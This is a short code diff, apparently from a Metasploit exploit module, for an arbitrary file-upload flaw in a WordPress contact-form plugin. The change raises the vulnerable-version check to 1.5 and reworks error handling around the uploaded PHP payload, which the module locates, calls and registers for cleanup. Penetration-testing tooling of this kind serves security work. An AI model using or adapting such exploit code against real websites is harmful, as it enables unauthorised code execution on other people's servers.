File tree Expand file tree Collapse file tree 1 file changed +13
-9
lines changed
modules/exploits/unix/webapp Expand file tree Collapse file tree 1 file changed +13
-9
lines changed Original file line number Diff line number Diff line change @@ -39,7 +39,7 @@ def initialize(info = {})
39
39
end
40
40
41
41
def check
42
- check_plugin_version_from_readme ( 'website-contact-form-with-file-upload' , '1.4 ' )
42
+ check_plugin_version_from_readme ( 'website-contact-form-with-file-upload' , '1.5 ' )
43
43
end
44
44
45
45
def exploit
@@ -58,16 +58,20 @@ def exploit
58
58
'data' => post_data
59
59
} )
60
60
61
- if res && res . code == 200 && res . body =~ /filename/
62
- begin
63
- new_php_pagename = JSON . parse ( res . body ) [ "filename" ]
64
- rescue JSON ::ParserError
65
- new_php_pagename = ''
61
+ if res
62
+ if res . code == 200 && res . body =~ /filename/
63
+ begin
64
+ new_php_pagename = JSON . parse ( res . body ) [ "filename" ]
65
+ rescue JSON ::ParserError
66
+ new_php_pagename = ''
67
+ end
68
+ print_good ( "#{ peer } - Our payload is at: #{ new_php_pagename } . Calling payload..." )
69
+ register_files_for_cleanup ( new_php_pagename )
70
+ else
71
+ fail_with ( "#{ peer } - Unable to deploy payload, server returned #{ res . code } " )
66
72
end
67
- print_good ( "#{ peer } - Our payload is at: #{ new_php_pagename } . Calling payload..." )
68
- register_files_for_cleanup ( new_php_pagename )
69
73
else
70
- fail_with ( " #{ peer } - Unable to deploy payload, server returned #{ res . code } " )
74
+ fail_with ( 'ERROR' )
71
75
end
72
76
73
77
print_status ( "#{ peer } - Calling payload..." )
You can’t perform that action at this time.
0 commit comments